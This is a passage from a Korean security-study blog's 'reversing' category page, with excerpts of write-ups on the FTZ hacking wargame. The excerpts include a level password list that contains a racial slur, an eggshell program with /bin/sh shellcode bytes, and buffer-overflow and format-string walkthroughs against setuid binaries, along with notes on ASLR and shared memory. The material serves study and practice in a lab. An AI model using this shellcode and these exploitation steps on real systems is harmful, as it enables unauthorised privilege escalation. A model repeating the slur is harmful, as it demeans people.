일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- viewmodel
- LifeCycle
- Kotlin
- appbar
- Coroutines
- 안드로이드
- 테스트
- Button
- intent
- Dialog
- livedata
- data
- textfield
- TEST
- 앱
- activity
- textview
- 앱바
- Compose
- scroll
- drift
- CustomScrollView
- Flutter
- binding
- DART
- 계측
- android
- tabbar
- Navigation
- ScrollView
- Today
- Total
목록리버싱 (23)
Study Record
[패스워드] 단계 패스워드 level1 level1 level2 hacker or craker level3 can you fly? level4 suck my brain level5 what is your name? level6 what the hell level7 come together level8 break the world level9 apple level10 interesting to hack! level11 what!@#$? level12 it is like this level13 have no clue level14 what that nigga want? level15 guess what level16 about to cause mass level17 king poetic level18 why..
+ 참고 : 쉘 코드 ※ 에그 쉘(eggshell)? 쉘코드를 환경변수에 올릴 때 사용하는 프로그램이다. 에그 쉘 프로그램 # vi egg.c #include #include #include #define DEFAULT_ADDR_SIZE 8 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_SUPERDK_SIZE 2048 #define NOP 0x90 // 배시쉘을 실행하는 쉘코드 char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; int main(int argc, char **argv){ char..
15단계 → 16단계 ※ 15단계(level15) 패스워드 : "guess what" ☞ 기초개념 - 버퍼 오버플로우 https://laustudy.tistory.com/65 - 버퍼 오버플로우 ㉮ hint 파일을 보니 fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 45byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 check 라는 포인터 변수의 값을 0xdeadbeef 로 바꿀 수 있다면 다음 단계의 계정으로 쉘을 실행시킬 수 있을 것이다. ※ attackme 의 코드부분으로 추측된다. ㉯ 버퍼 오버플로우 공격을 하기 전, check(포인터 변수)와 buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다. at..
13단계 → 14단계 ※ 13단계(level13) 패스워드 : "have no clue" ☞ 기초개념 - 버퍼 오버플로우, 쉘코드, 에그쉘, 메모리 보호 기법 https://laustudy.tistory.com/65 - 버퍼 오버플로우 https://laustudy.tistory.com/73 - 에그쉘 https://laustudy.tistory.com/70 - 쉘코드 https://laustudy.tistory.com/69 - 메모리 보호 기법 ㉮ hint 를 확인해본다. # cat hint hint 내용은 /home/level13/attackme 의 내부 소스 코드인 것 같다. 소스 코드에서 strcpy() 함수로 인자값으로 받은 argv[1] 값을 buf 배열에 저장하는 과정에서 글자 제한을 두고 ..
※ 사용할 함수 - execve() #include int execve (const char *filename, char *const argv [], char *const envp[]); /* 다른 프로그램을 실행하고 자신은 종료한다. 리턴값 : 실패일 경우만 -1 filename : 전체 경로명 argv : arg 인수 목록 envp : 환경 설정 목록 */ char *argv[] = {"/bin/bash", 0}; execve("/bin/bash", &argv, 0); 1. 쉘 코드 만들기 - C언어 # vi myshell.c #include int main() { char *bash[] = {"/bin/sh", 0}; execve(bash[0], &bash, 0); /* execve(bash[0],..
Linux 메모리 보호기법 1. ASLR(Address Space Layout Randomization) 프로그램이 실행되어 메모리 공간에 올라갈때, 메모리상의 공격을 어렵게 하기 위해 스택이나 힙, 라이브러리 등의 주소를 무작위로 프로세스 주소 공간에 배치함으로써 실행할 때 마다 데이터의 주소가 바뀌게 하는 기법이다. ※ 프로세스 정보 확인 /proc/self : 현재 사용되고 있는 프로세스 정보 /proc/self/maps : 현재 사용되고 있는 프로세스의 주소맵 실제로 ASLR을 사용하고 안하고의 차이를 확인해보자. # cat /proc/self/maps | head 처음 실행했을 때와 두번째 실행했을 때 메모리 주소값이 다른 걸 볼 수 있다. ※ ASLR 사용 설정 # vi /proc/sys/ke..
11단계 → 12단계 ※ 11단계(level11) 패스워드 : "what!@#$?" 풀이 1. 포맷 스트링 ☞ 기초개념 - 포맷 스트링, 에그쉘, 쉘코드 https://laustudy.tistory.com/66 - 포맷 스트링 https://laustudy.tistory.com/73 - 에그쉘 https://laustudy.tistory.com/70 - 쉘코드 ㉮ hint 를 확인한다. # cat hint hint 의 내용을 보니 /home/level11/attackme 의 소스코드 내용으로 추정된다. printf() 함수를 포맷 스트링 공격에 취약한 방식으로 사용하고 있는 것 같다. ls 명령어를 통해 attackme 가 level12 계정으로 setuid 비트가 걸려있어 이 프로그램이 실행되는 동안에..
공유 메모리 관련 함수 ☞ shmget() #include #include int shmget(key_t key, int size, int shmflg); /* 공유 메모리를 생성하거나 공유 메모리를 사용할 수 있는 함수이다. 리턴값 : 성공시 공유 메모리 ID(공유 메모리 식별자), 실패시 -1 key_t key : 공유 메모리를 읽기 위한 key 변수 int size : 공유 메모리의 크기 shmflg : 공유 메모리 생성이나 사용 옵션을 지정 - IPC_CREAT : 공유 메모리 생성 - 0666 : 공유 메모리 사용 권한 */ int shm_id = shmget((key_t)7530, 1024, IPC_CREAT|0666); ☞ shmat() #include #include void *shmat(..